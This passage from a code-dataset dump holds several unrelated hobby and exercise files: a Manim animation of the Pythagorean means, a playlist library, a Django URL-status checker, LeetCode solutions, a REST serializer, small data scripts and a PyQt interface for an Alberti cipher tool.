rhs_intermediate.next_to(qm, RIGHT)\n rhs_intermediate.shift(SMALL_BUFF*UP)\n\n rhs_final = TexMobject(\n r'=\\sqrt{{{a^2 + b^2} \\over 2}}'\n ).set_color(YELLOW)\n rhs_final.next_to(qm, RIGHT)\n rhs_final.shift(SMALL_BUFF*UP)\n\n # Get individual pieces of above equations\n square_roots = VGroup(VGroup(*[rhs_1[0][i] for i in [1,2]]),\n VGroup(*[rhs_intermediate[0][i] for i in [1,2]]))\n term_1 = VGroup(VGroup(*[rhs_1[0][i] for i in range(3,11)]),\n VGroup(*[rhs_intermediate[0][i] for i in range(3,14)]))\n minuses = VGroup(rhs_1[0][11], rhs_intermediate[0][14])\n term_2 = VGroup(VGroup(*[rhs_1[0][i] for i in range(12,20)]),\n VGroup(*[rhs_intermediate[0][i] for i in range(15,26)]))\n\n self.quad_formula = TextMobject(\n r'QM', ' = quadratic mean'\n ).set_color(YELLOW)\n self.quad_formula.to_edge(LEFT)\n self.quad_formula.shift(DOWN * 2 + RIGHT * SMALL_BUFF)\n\n # Animate\n self.play(FadeIn(label_qm))\n self.wait()\n self.play(ApplyMethod(label_copy.move_to, qm))\n self.play(ReplacementTransform(label_copy, qm))\n self.play(Write(rhs_1))\n self.wait()\n items = [square_roots, term_1, minuses, term_2]\n self.play(*[ReplacementTransform(item[0], item[1]) for item in items],\n ReplacementTransform(rhs_1[0][0], rhs_intermediate[0][0])\n )\n self.wait(2)\n qm_final = VGroup(*rhs_final[0][3:])\n square_root_final = VGroup(rhs_final[0][1], rhs_final[0][2])\n num_copies = VGroup(term_1[1][0:5].copy(), term_2[1][0:5].copy())\n denom_copies = VGroup(term_1[1][9:].copy(), term_2[1][9:].copy())\n self.play(\n FadeOut(rhs_intermediate),\n ApplyMethod(num_copies[1].move_to,\n VGroup(*rhs_final[0][3:8]).get_center()\n ),\n ReplacementTransform(\n num_copies[0], VGroup(*rhs_final[0][3:8])\n ),\n ReplacementTransform(\n denom_copies, VGroup(*rhs_final[0][8:])\n ),\n ReplacementTransform(square_roots[1], square_root_final),\n ReplacementTransform(rhs_intermediate[0][0], rhs_final[0][0])\n )\n self.play(FadeOut(num_copies[1]))\n self.wait()\n self.play(ApplyMethod(qm.move_to, self.quad_formula[0].get_center()),\n FadeOut(rhs_final))\n self.play(Write(self.quad_formula[1]))\n self.play(FadeOut(diff_line), FadeOut(label_qm))\n self.wait(2)\n\n def get_geometric_mean(self):\n # Setup lines\n gm_length = (self.a.get_length() * self.b.get_length())**0.5\n self.gm_line = Line(self.b.get_start(),\n self.b.get_start()+[0., gm_length, 0.], color = TEAL)\n self.radius = Line(self.am_line.get_end(), self.gm_line.get_end())\n\n # Animate\n self.play(ShowCreation(self.gm_line))\n self.add(self.semicircle)\n [self.add(line) for line in [self.a, self.b]]\n self.wait()\n self.play(ShowCreation(self.radius))\n self.wait()\n\n def animate_gm_formula(self):\n # Setup Tex and Text\n brace_gm = Brace(self.gm_line, RIGHT, buff = SMALL_BUFF).set_color(TEAL)\n label_gm = brace_gm.get_tex(r'{\\rm GM}').set_color(TEAL)\n label_gm.bg=BackgroundRectangle(label_gm, fill_opacity=0.9)\n label_copy = label_gm.copy()\n label_gm_group = VGroup(label_gm.bg, label_gm)\n avg = r'\\dfrac{a+b}{2}'\n half_diff = r'\\dfrac{a-b}{2}'\n\n gm = TexMobject(r'\\text{GM}')\n gm.set_color(TEAL)\n gm.move_to(3*DOWN+2*LEFT)\n\n rhs_1 = TexMobject(\n r'=\\sqrt{\\left(%s\\right)^2-\\left(%s\\right)^2}' % (avg, half_diff)\n )\n rhs_1.set_color(TEAL)\n rhs_1.next_to(gm, RIGHT)\n rhs_1.shift(SMALL_BUFF*UP)\n\n rhs_intermediate = TexMobject(\n r'=\\sqrt{%s - %s}' % (\n r'\\dfrac{a^2 + b^2 + 2ab}{4}',\n r'\\dfrac{a^2 + b^2 - 2ab}{4}'\n )\n )\n rhs_intermediate.set_color(TEAL)\n rhs_intermediate.next_to(gm, RIGHT)\n rhs_intermediate.shift(SMALL_BUFF*UP)\n\n rhs_final = TexMobject(r'=\\sqrt{ab}').set_color(TEAL)\n rhs_final.next_to(gm, RIGHT)\n rhs_final.shift(SMALL_BUFF*UP/2)\n\n # Get individual pieces of above equations\n square_roots = VGroup(VGroup(*[rhs_1[0][i] for i in [1,2]]),\n VGroup(*[rhs_intermediate[0][i] for i in [1,2]]))\n term_1 = VGroup(VGroup(*[rhs_1[0][i] for i in range(3,11)]),\n VGroup(*[rhs_intermediate[0][i] for i in range(3,14)]))\n minuses = VGroup(rhs_1[0][11], rhs_intermediate[0][14])\n term_2 = VGroup(VGroup(*[rhs_1[0][i] for i in range(12,20)]),\n VGroup(*[rhs_intermediate[0][i] for i in range(15,26)]))\n\n self.gm_formula = TextMobject(\n 'GM', r' = geometric mean'\n ).set_color(TEAL)\n self.gm_formula.to_edge(LEFT)\n self.gm_formula.shift(2.75*DOWN + SMALL_BUFF * RIGHT)\n\n # Animate\n self.play(GrowFromCenter(brace_gm), FadeIn(label_gm_group))\n self.wait()\n self.play(ApplyMethod(label_copy.move_to, gm))\n self.add(gm)\n self.remove(label_copy)\n self.play(Write(rhs_1))\n self.wait()\n items = [square_roots, term_1, minuses, term_2]\n self.play(*[ReplacementTransform(item[0], item[1]) for item in items],\n ReplacementTransform(rhs_1[0][0], rhs_intermediate[0][0]))\n self.wait(2)\n ab_final = VGroup(rhs_final[0][-1], rhs_final[0][-2])\n square_root_final = VGroup(rhs_final[0][1], rhs_final[0][2])\n ab_copies = VGroup(\n *[VGroup(term[1][-3], term[1][-4]) for term in [term_1, term_2]]\n ).copy()\n self.play(\n FadeOut(rhs_intermediate),\n *[ApplyMethod(ab.move_to, ab_final) for ab in ab_copies],\n ReplacementTransform(square_roots[1], square_root_final),\n ReplacementTransform(rhs_intermediate[0][0], rhs_final[0][0])\n )\n self.wait(2)\n self.play(ApplyMethod(gm.move_to, self.gm_formula[0].get_center()),\n FadeOut(rhs_final), FadeOut(ab_copies))\n self.play(Write(self.gm_formula[1]))\n self.play(FadeOut(brace_gm), FadeOut(label_gm_group))\n self.wait(2)\n\n def get_harmonic_mean(self):\n # Setup lines and formulae\n d1 = Dot()\n harmonic_mean = 2./(1/self.a.get_length() + 1/self.b.get_length())\n avg = (self.a.get_length() + self.b.get_length())/2\n d1.move_to(self.radius.get_end()*(1.-harmonic_mean/avg))\n intersecting_line = Line(d1.get_center(), self.gm_line.get_start())\n intersecting_triangle = Polygon(\n *[point for point in [intersecting_line.get_start_and_end()[0],\n intersecting_line.get_start_and_end()[1], ORIGIN]],\n color=WHITE\n )\n right_angle = RightAngle(intersecting_line, self.radius,\n length = self.LINE_LENGTH/32., quadrant = (1,-1)\n )\n self.hm_line = Line(d1.get_center(),\n self.gm_line.get_end(), color = PINK\n )\n self.hm_formula = TextMobject(\n 'HM', r' = harmonic mean'\n ).set_color(PINK)\n self.hm_formula.to_edge(LEFT)\n self.hm_formula.shift(3.5*DOWN + SMALL_BUFF * RIGHT)\n\n prop_form = TexMobject(\n r'{ {\\rm HM} \\over {\\rm GM} }',\n '=', r'{ {\\rm GM} \\over {\\rm AM} }'\n )\n HM = VGroup(prop_form[0][0], prop_form[0][1])\n gm_denom = VGroup(prop_form[0][-1], prop_form[0][-2])\n gm_num = VGroup(prop_form[2][0], prop_form[2][1])\n am_denom = VGroup(prop_form[2][-1], prop_form[2][-2])\n GM2 = TexMobject(r'{\\rm GM}','^2')\n GM2[0].set_color(TEAL)\n\n prop_form.shift(2*DOWN + 2*RIGHT)\n HM.set_color(PINK)\n gm_num.set_color(TEAL)\n gm_denom.set_color(TEAL)\n am_denom.set_color(RED_A)\n\n # Animate\n self.play(\n ShowCreation(intersecting_line),\n ShowCreation(right_angle)\n )\n self.wait()\n self.play(ShowCreation(self.hm_line))\n self.add(self.semicircle)\n self.play(FadeIn(intersecting_triangle))\n lines = [self.hm_line, self.gm_line, self.gm_line, self.radius]\n dests = [HM, gm_denom, gm_num, am_denom]\n for line, dest in zip(lines, dests):\n self.play(ReplacementTransform(line.copy(), dest))\n self.play(\n Write(prop_form[0][2]),\n Write(prop_form[1]),\n Write(prop_form[2][2])\n )\n self.wait(2)\n self.play(\n ApplyMethod(gm_denom.move_to, gm_num)\n )\n GM2.move_to(gm_num[1].get_center()+SMALL_BUFF*LEFT)\n GM2 = VGroup(gm_num, GM2[1])\n self.remove(gm_denom)\n self.play(Write(GM2[1]))\n self.play(ApplyMethod(HM.move_to, prop_form[0][2].get_center()),\n FadeOut(prop_form[0][2])\n )\n self.wait()\n equals = TexMobject(r'= {2ab \\over {a+b}}')\n equals.next_to(HM)\n num = VGroup(*[equals[0][i] for i in [2,3]]).set_color(TEAL)\n denom = VGroup(*[equals[0][i] for i in [1,-1,-2,-3]]).set_color(RED_A)\n self.play(\n ReplacementTransform(GM2, num),\n ReplacementTransform(prop_form[2][2], equals[0][4]),\n ReplacementTransform(prop_form[1], equals[0][0])\n )\n self.play(ReplacementTransform(am_denom, denom))\n self.wait()\n denom = VGroup(equals[0][-3], equals[0][-2], equals[0][-1])\n hm_denom = TexMobject(\n r'{1 \\over a}', '+', r'{1 \\over b}'\n ).set_color(PINK)\n hm_denom.next_to(equals[0][4], DOWN)\n self.play(*[ApplyMethod(\n denom[i].move_to, hm_denom[i][-1]\n ) for i in range(3)]\n )\n self.play(Write(hm_denom), FadeOut(equals[0][2]), FadeOut(equals[0][3]),\n ApplyMethod(equals[0][1].next_to, equals[0][4], UP, buff = 0)\n )\n self.play(*[ApplyMethod(\n equals[0][i].set_color, PINK\n ) for i in [0, 1, 4]])\n self.play(*[FadeOut(denom[i]) for i in range(3)])\n self.wait(2)\n self.play(ApplyMethod(HM.move_to, self.hm_formula[0]),\n *[FadeOut(item) for item in [hm_denom, equals[0][0],\n equals[0][1], equals[0][4]]])\n self.play(Write(self.hm_formula[1]))\n self.wait(2)\n\n def label_pythagorean_means(self):\n form_group = VGroup(self.arithmetic_mean, self.quad_formula,\n self.gm_formula, self.hm_formula\n )\n # Make brace so it is drawn top-to-bottom\n form_brace = Brace(\n form_group, LEFT, buff = SMALL_BUFF\n ).flip().next_to(form_group, RIGHT)\n form_label = form_brace.get_text('Pythagorean means')\n\n self.play(Write(form_brace))\n self.play(Write(form_label))\n self.wait(4)\n","repo_name":"akanotoe/manimations","sub_path":"pythagorean-means/pythagorean-means.py","file_name":"pythagorean-means.py","file_ext":"py","file_size_in_byte":16677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74277451713","text":"from validation import Validation\nfrom utils import update_name\nimport random\nimport json\n\n\n# make TimeUnit work for minutes and seconds over 60\nclass TimeUnit:\n def __init__(self, hours=0, minutes=0, seconds=0):\n self.hours = hours\n self.minutes = minutes\n self.seconds = seconds\n self.__simplify_time_units()\n\n def get_seconds(self):\n return self.hours * 3600 + self.minutes * 60 + self.seconds\n\n def get_minutes(self):\n return self.hours * 60 + self.minutes\n\n def get_hours(self):\n return self.hours\n\n @classmethod\n def create_time_unit(cls, length):\n occurrences = length.count(':')\n if occurrences == 1:\n minutes = int(length[:length.index(':')])\n seconds = int(length[length.index(':') + 1:])\n return TimeUnit(minutes=minutes, seconds=seconds)\n\n hours = int(length[:length.index(':')])\n minutes = int(length[length.index(':') + 1:length.rindex(':')])\n seconds = int(length[length.rindex(':') + 1:])\n return TimeUnit(hours=hours, minutes=minutes, seconds=seconds)\n\n def __simplify_time_units(self):\n if self.seconds >= 60:\n bonus_minutes = self.seconds // 60\n self.seconds %= 60\n self.minutes += bonus_minutes\n\n if self.minutes >= 60:\n bonus_hours = self.minutes // 60\n self.minutes %= 60\n self.hours += bonus_hours\n\n\nclass Song:\n def __init__(self, title=\"\", artist=\"\", album=\"\", length=\"\"):\n Validation.validate_that_arguments_are_not_empty_strings(title, artist, album, length)\n Validation.validate_length(length)\n\n self.title = title\n self.artist = artist\n self.album = album\n self.length = length\n self.time_unit = TimeUnit.create_time_unit(length)\n\n def get_length(self, seconds=False, minutes=False, hours=False):\n if seconds:\n return self.time_unit.get_seconds()\n\n if minutes:\n return self.time_unit.get_minutes()\n\n if hours:\n return self.time_unit.get_hours()\n\n return self.length\n\n def get_title(self):\n return self.title\n\n def get_artist(self):\n return self.artist\n\n def get_album(self):\n return self.album\n\n def __str__(self):\n return f'{self.artist} - {self.title} from {self.album} - {self.length}'\n\n def __repr__(self):\n return f'{self.artist} - {self.title} from {self.album} - {self.length}'\n\n def __eq__(self, other):\n if type(other) is Song and hash(self) == hash(other):\n return True\n return False\n\n def __hash__(self):\n return hash(str(self))\n\n\nclass PlayList:\n def __init__(self, name=\"PlayList\", repeat=False, shuffle=False):\n self.name = name\n self.repeat = repeat\n self.shuffle = shuffle\n self.__shuffle = True\n\n self.songs = []\n self.dict_of_artists = {}\n self.__current_song_index = -1\n\n def add_song(self, song):\n if type(song) is not Song:\n raise Exception(\"Wrong argument type\")\n\n if song in self.songs:\n raise Exception(\"Song is already in the playlist\")\n\n artist = song.get_artist()\n self.songs.append(song)\n\n if artist not in self.dict_of_artists:\n self.dict_of_artists[artist] = 0\n self.dict_of_artists[artist] += 1\n\n def remove_song(self, song):\n if type(song) is not Song:\n raise Exception(\"Wrong argument type\")\n\n if song not in self.songs:\n raise Exception(\"Song is not in the playlist\")\n\n artist = song.get_artist()\n self.songs.remove(song)\n\n self.dict_of_artists[artist] -= 1\n\n def add_songs(self, songs):\n for song in songs:\n self.add_song(song)\n\n def total_length(self):\n return len(self.songs)\n\n def artists(self):\n return self.dict_of_artists\n\n def next_song(self):\n if not self.songs:\n raise Exception(\"PlayList is empty\")\n\n if self.__shuffle:\n random.shuffle(self.songs)\n self.__shuffle = False\n\n if self.repeat:\n return self.__handle_when_repeat_is_True()\n else:\n return self.__handle_when_repeat_is_False()\n\n def __handle_when_repeat_is_True(self):\n while True:\n self.__current_song_index += 1\n if self.__current_song_index == self.total_length():\n self.__current_song_index = 0\n song_to_return = self.songs[self.__current_song_index]\n return song_to_return\n\n def __handle_when_repeat_is_False(self):\n self.__current_song_index += 1\n if self.__current_song_index != self.total_length():\n song_to_return = self.songs[self.__current_song_index]\n return song_to_return\n raise Exception(\"You have reached the end of the playlist\")\n\n def save(self):\n file_name = update_name(self.name)\n json_repr = self.toJSON()\n with open(f'playlist-data/{file_name}.json', 'w+') as file:\n file.write(json_repr)\n\n def toJSON(self):\n return json.dumps(self, default=lambda o: o.__dict__, indent=4)\n\n @classmethod\n def load(cls, path):\n with open(f'playlist-data/{path}', 'r') as file:\n data = file.read()\n json_repr = json.loads(data)\n return cls.create_playlist_instance_with_correct_attributes(json_repr)\n\n @classmethod\n def create_playlist_instance_with_correct_attributes(cls, json_repr):\n playlist = PlayList(name=json_repr[\"name\"], repeat=json_repr[\"repeat\"], shuffle=json_repr[\"shuffle\"])\n for song in json_repr[\"songs\"]:\n s = Song(title=song['title'], artist=song['artist'], album=song['album'], length=song['length'])\n time_unit = song['time_unit']\n s.time_unit = TimeUnit(hours=time_unit['hours'], minutes=time_unit['minutes'], seconds=time_unit['seconds'])\n playlist.add_song(s)\n playlist.dict_of_artists = json_repr[\"dict_of_artists\"]\n return playlist\n","repo_name":"Emoto13/Python101","sub_path":"week3/04.MusicLibrary/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":6127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21865467598","text":"from django.shortcuts import render\nimport requests\nfrom threading import Timer\nfrom django.http import HttpResponseRedirect\nimport datetime\n\n# Create your views here.\nfrom django.http import HttpResponse\nfrom .models import allStatus\n\n\ndef index(request):\n all_status = allStatus.objects.all()\n return render(request, 'url.html', {'result':all_status})\ndef startTesting(request) : \n text = request.POST['content']\n\n checkurl(text)\n return HttpResponseRedirect('/url/')\n\n\ndef checkurl(url):\n start = True\n try :\n request = requests.get(url, timeout=5)\n status = requests.head(url,timeout=5 ).status_code\n response = requests.get(url)\n if(status == 200):\n time =str( response.elapsed )\n a = allStatus(content ='Requested Url : '+ url +' Status : Active ' + 'Response Time : '+time )\n \n a.save()\n\n else :\n a = allStatus(content ='Requested Url : '+ url +' Status : INActive' )\n a.save()\n\n \n except (requests.ConnectionError, requests.Timeout) as exception:\n\t a = allStatus(content =\"No internet connection.\")\n return ''\n\n\n # r = Timer(3.0, checkurl(url))\n # r.start(start)","repo_name":"Tarak-Ram/Testing-URl-speed-using-Django","sub_path":"Urlstatus/url/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34680191814","text":"import math\r\n\r\n# python\r\n# 从最后一个数字开始循环 i表示从0到i之内的计算\r\n#每次在范围之内找到最大的数字。判断,如果他在i的位置 跳过\r\n#如果在0的位置, 在i 的位置翻转 存入i,进行一次翻转\r\n#如果不在0和i的位置,存入最大值位置,i,进行一次最大值位置的翻转,一次i的翻转\r\n#最后返回\r\n# 执行用时 :36 ms, 在所有 python 提交中击败了67.50% 的用户\r\n# 内存消耗 :11.8 MB, 在所有 python 提交中击败了9.09%的用户\r\nclass Solution(object):\r\n def nreverse(self, A, p):\r\n #print(reversed(A[:p]))\r\n A[:p+1] = reversed(A[:p+1])\r\n #print(A)\r\n\r\n def pancakeSort(self, A):\r\n \"\"\"\r\n :type A: List[int]\r\n :rtype: List[int]\r\n \"\"\"\r\n length = len(A)-1\r\n c = []\r\n for i in range(len(A)-1,-1,-1):\r\n\r\n #print(i)\r\n if(A.index(max(A[0:length+1])) == length):\r\n length -= 1\r\n continue\r\n elif(A.index(max(A[0:length+1])) == 0):\r\n c.append(length+1)\r\n self.nreverse(A,length)\r\n else:\r\n c.append(A.index(max(A[0:length+1]))+1)\r\n c.append(length+1)\r\n self.nreverse(A,A.index(max(A[0:length+1])))\r\n self.nreverse(A,length)\r\n #print(A)\r\n length -= 1\r\n return c\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n\r\n\r\n n = [2,1,3]\r\n #print(max(n[0:2]))\r\n p = Solution()\r\n a = p.pancakeSort(n)\r\n print(a)\r\n\r\n\r\n\r\n #p.compare(A,B)\r\n\r\n\r\n\r\n\r\n\r\n #print(s)\r\n #print(test.lastSubstring(\"abab\"))\r\n","repo_name":"zc1001/leetcode","sub_path":"Number theory/969/969.py","file_name":"969.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18728335728","text":"\"\"\"\nThis file defines the REST API of our new model\n\"\"\"\n\nfrom django_filters import rest_framework as filters\nfrom rest_framework_bulk.drf3.serializers import BulkListSerializer, BulkSerializerMixin\n\nfrom data_admin.common.api.views import (\n frePPleListCreateAPIView,\n frePPleRetrieveUpdateDestroyAPIView,\n)\n\nfrom data_admin.common.api.serializers import ModelSerializer\n\nfrom .models import My_Model\n\n\nclass MyModelFilter(filters.FilterSet):\n class Meta:\n model = My_Model\n fields = {\n \"name\": [\"exact\", \"in\", \"contains\"],\n \"charfield\": [\"exact\", \"contains\"],\n \"booleanfield\": [\"exact\"],\n \"decimalfield\": [\"exact\", \"in\", \"gt\", \"gte\", \"lt\", \"lte\"],\n \"source\": [\"exact\", \"in\"],\n \"lastmodified\": [\"exact\", \"in\", \"gt\", \"gte\", \"lt\", \"lte\"],\n }\n filter_fields = (\"name\", \"charfield\", \"booleanfield\", \"decimalfield\")\n\n\nclass MyModelSerializer(BulkSerializerMixin, ModelSerializer):\n class Meta:\n model = My_Model\n fields = (\"name\", \"charfield\", \"booleanfield\", \"decimalfield\")\n list_serializer_class = BulkListSerializer\n update_lookup_field = \"name\"\n partial = True\n\n\nclass MyModelSerializerAPI(frePPleListCreateAPIView):\n queryset = My_Model.objects.all()\n serializer_class = MyModelSerializer\n filter_class = MyModelFilter\n","repo_name":"frePPLe/frepple-data-admin","sub_path":"docs/getting-started/my_app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"2361990994","text":"from Toto import *\r\n\r\nfordulok : list[Totó] = []\r\nfile = open('toto.txt','r',encoding='Utf-8')\r\nfile.readline()\r\nfor row in file:\r\n fordulok.append(Totó(row.strip()))\r\nfile.close()\r\n\r\nprint(f'Fordulók száma:{len(fordulok)}')\r\n\r\nosszes = 0\r\nfor item in fordulok:\r\n osszes += item.t13p1\r\nprint(f'Szelvények száma: {osszes}')\r\n\r\nfor item in fordulok:\r\n if 'X' not in item.eredménye:\r\n print('Volt olyan ami nem döntetlen.')\r\n break\r\nelse:\r\n print('Mindenhol volt döntetlen.')","repo_name":"attilavamosi/alapvizsga","sub_path":"3feladat.py","file_name":"3feladat.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26089039155","text":"class Solution:\n def longestMountain(self, arr: List[int]) -> int:\n longest = 0\n n = len(arr)\n left = 0\n right = 0\n for i in range(1, n - 1):\n if arr[i] > arr[i - 1] and arr[i] > arr[i + 1]:\n left = right = i\n while left > 0 and arr[left - 1] < arr[left]:\n left -= 1\n while right < n - 1 and arr[right + 1] < arr[right]:\n right += 1\n longest = max(longest, (right - left + 1))\n return longest","repo_name":"Rediet-Ferew/competitive-programming","sub_path":"0845-longest-mountain-in-array/0845-longest-mountain-in-array.py","file_name":"0845-longest-mountain-in-array.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7455360865","text":"# open Input file in Read Mode\ninput = open(\"./Output/sortedoutput.txt\",\"r\")\n# open output file in write mode\noutput = open(\"./Output/reducerout.txt\",\"w\")\n\nthisKey = \"\"\nthisValue = 0.0\ncount =0\n# Iterating through the input\nfor line in input:\n # split the csv record to a tuple\n record = line.strip().split(\",\")\n # checking for dirty data with length\n if len(record) == 2:\n employer, value = record\n if soc_code.strip() != thisKey:\n if thisKey:\n # writing into the output file\n output.write(thisKey.strip() + ',' + str(thisValue)+'\\n')\n count = count + 1\n # printing the top 5 values\n if count < 5:\n print(thisKey.strip() + '\\t' + str(thisValue)+'\\n')\n # when the key is changed, starts again\n thisKey = soc_code.strip()\n thisValue = 0.0\n # Aggregating the results \n thisValue += float(value)\n# Write the result into the output file\noutput.write(thisKey.strip() + ',' + str(thisValue)+'\\n')\ninput.close()\noutput.close()","repo_name":"s530479-ShivaKumar/H1BApplications","sub_path":"Shiva/Reducer.py","file_name":"Reducer.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"1763178297","text":"from PyQt6 import QtCore, QtGui, QtWidgets\nfrom lib.helpers import UiHelper\n\n\nclass UiAlberti(object):\n \"\"\"\n UI class of method\n Describe all widgets\n \"\"\"\n pushButton_exit: QtWidgets.QPushButton\n label_info_key: QtWidgets.QLabel\n pushButton_clearOutput: QtWidgets.QPushButton\n pushButton_copy: QtWidgets.QPushButton\n pushButton_clearInput: QtWidgets.QPushButton\n pushButton_paste: QtWidgets.QPushButton\n pushButton_decrypt: QtWidgets.QPushButton\n pushButton_encrypt: QtWidgets.QPushButton\n textBrowser: QtWidgets.QTextBrowser\n plainTextEdit_key: QtWidgets.QPlainTextEdit\n plainTextEdit: QtWidgets.QPlainTextEdit\n label_info: QtWidgets.QLabel\n label_Alberti_gif: QtWidgets.QLabel\n centralwidget: QtWidgets.QWidget\n statusbar: QtWidgets.QStatusBar\n\n def setupUi(self, Alberti):\n Alberti.setObjectName(\"Alberti\")\n Alberti.resize(800, 650)\n Alberti.setMinimumSize(QtCore.QSize(800, 650))\n Alberti.setMaximumSize(QtCore.QSize(800, 650))\n Alberti.setStyleSheet(\"background-color: rgb(32, 28, 42);\")\n\n self.centralwidget = QtWidgets.QWidget(Alberti)\n self.centralwidget.setObjectName(\"centralwidget\")\n\n self.label_Alberti_gif = QtWidgets.QLabel(self.centralwidget)\n self.label_Alberti_gif.setGeometry(QtCore.QRect(30, 30, 431, 221))\n self.label_Alberti_gif.setObjectName(\"label_alberti_gif\")\n gif = QtGui.QMovie(\"lib/media/alberti.gif\")\n self.label_Alberti_gif.setMovie(gif)\n gif.start()\n\n font = UiHelper.set_font(size=9)\n\n self.label_info = QtWidgets.QLabel(self.centralwidget)\n self.label_info.setGeometry(QtCore.QRect(480, 30, 289, 279))\n self.label_info.setFont(font)\n self.label_info.setStyleSheet(UiHelper.text_area_style())\n self.label_info.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_info.setObjectName(\"label_info\")\n\n font = UiHelper.set_font(size=10, bold=True, italic=True)\n\n self.label_info_key = QtWidgets.QLabel(self.centralwidget)\n self.label_info_key.setGeometry(QtCore.QRect(201, 278, 260, 31))\n self.label_info_key.setFont(font)\n self.label_info_key.setStyleSheet(UiHelper.text_area_style())\n self.label_info_key.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_info_key.setObjectName(\"label_info\")\n\n font = UiHelper.set_font(size=10)\n\n self.plainTextEdit = QtWidgets.QPlainTextEdit(self.centralwidget)\n self.plainTextEdit.setGeometry(QtCore.QRect(30, 320, 739, 101))\n self.plainTextEdit.setFont(font)\n self.plainTextEdit.setStyleSheet(UiHelper.text_area_style())\n self.plainTextEdit.setObjectName(\"plainTextEdit\")\n\n self.plainTextEdit_key = QtWidgets.QPlainTextEdit(self.centralwidget)\n self.plainTextEdit_key.setGeometry(QtCore.QRect(30, 278, 150, 31))\n self.plainTextEdit_key.setFont(font)\n self.plainTextEdit_key.setStyleSheet(UiHelper.text_area_style())\n self.plainTextEdit_key.setObjectName(\"plainTextEdit\")\n\n self.textBrowser = QtWidgets.QTextBrowser(self.centralwidget)\n self.textBrowser.setGeometry(QtCore.QRect(30, 470, 739, 101))\n self.textBrowser.setFont(font)\n self.textBrowser.setStyleSheet(UiHelper.text_area_style())\n self.textBrowser.setObjectName(\"textBrowser\")\n\n font = UiHelper.set_font(\"Droid Sans Mono\", size=10, bold=True)\n\n self.pushButton_encrypt = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_encrypt.setGeometry(QtCore.QRect(30, 430, 201, 31))\n self.pushButton_encrypt.setFont(font)\n self.pushButton_encrypt.setObjectName(\"pushButton_encrypt\")\n self.pushButton_encrypt.setStyleSheet(UiHelper.encrypt_style())\n\n self.pushButton_decrypt = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_decrypt.setGeometry(QtCore.QRect(240, 430, 201, 31))\n self.pushButton_decrypt.setFont(font)\n self.pushButton_decrypt.setObjectName(\"pushButton_decrypt\")\n self.pushButton_decrypt.setStyleSheet(UiHelper.encrypt_style())\n\n self.pushButton_paste = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_paste.setGeometry(QtCore.QRect(460, 430, 151, 31))\n self.pushButton_paste.setFont(font)\n self.pushButton_paste.setObjectName(\"pushButton_paste\")\n self.pushButton_paste.setStyleSheet(UiHelper.default_style())\n\n self.pushButton_clearInput = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_clearInput.setGeometry(QtCore.QRect(460, 580, 151, 31))\n self.pushButton_clearInput.setFont(font)\n self.pushButton_clearInput.setObjectName(\"pushButton_clearInput\")\n self.pushButton_clearInput.setStyleSheet(UiHelper.default_style())\n\n self.pushButton_copy = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_copy.setGeometry(QtCore.QRect(620, 430, 151, 31))\n self.pushButton_copy.setFont(font)\n self.pushButton_copy.setObjectName(\"pushButton_copy\")\n self.pushButton_copy.setStyleSheet(UiHelper.default_style())\n\n self.pushButton_clearOutput = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_clearOutput.setGeometry(QtCore.QRect(620, 580, 151, 31))\n self.pushButton_clearOutput.setFont(font)\n self.pushButton_clearOutput.setObjectName(\"pushButton_clearOutput\")\n self.pushButton_clearOutput.setStyleSheet(UiHelper.default_style())\n\n self.pushButton_exit = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_exit.setGeometry(QtCore.QRect(30, 580, 201, 31))\n self.pushButton_exit.setFont(font)\n self.pushButton_exit.setObjectName(\"pushButton_exit\")\n self.pushButton_exit.setStyleSheet(UiHelper.exit_style())\n\n Alberti.setCentralWidget(self.centralwidget)\n self.statusbar = QtWidgets.QStatusBar(Alberti)\n self.statusbar.setObjectName(\"statusbar\")\n self.statusbar.setStyleSheet(\"color: rgb(238, 238, 236);\")\n Alberti.setStatusBar(self.statusbar)\n\n self.pushButton_encrypt.setCursor(QtGui.QCursor(QtCore.Qt.CursorShape.PointingHandCursor))\n self.pushButton_decrypt.setCursor(QtGui.QCursor(QtCore.Qt.CursorShape.PointingHandCursor))\n self.pushButton_paste.setCursor(QtGui.QCursor(QtCore.Qt.CursorShape.PointingHandCursor))\n self.pushButton_clearInput.setCursor(QtGui.QCursor(QtCore.Qt.CursorShape.PointingHandCursor))\n self.pushButton_copy.setCursor(QtGui.QCursor(QtCore.Qt.CursorShape.PointingHandCursor))\n self.pushButton_clearOutput.setCursor(QtGui.QCursor(QtCore.Qt.CursorShape.PointingHandCursor))\n self.pushButton_exit.setCursor(QtGui.QCursor(QtCore.Qt.CursorShape.PointingHandCursor))\n\n self.textBrowser.viewport().setProperty(\"cursor\", QtGui.QCursor(QtCore.Qt.CursorShape.IBeamCursor))\n self.plainTextEdit.viewport().setProperty(\"cursor\", QtGui.QCursor(QtCore.Qt.CursorShape.IBeamCursor))\n\n 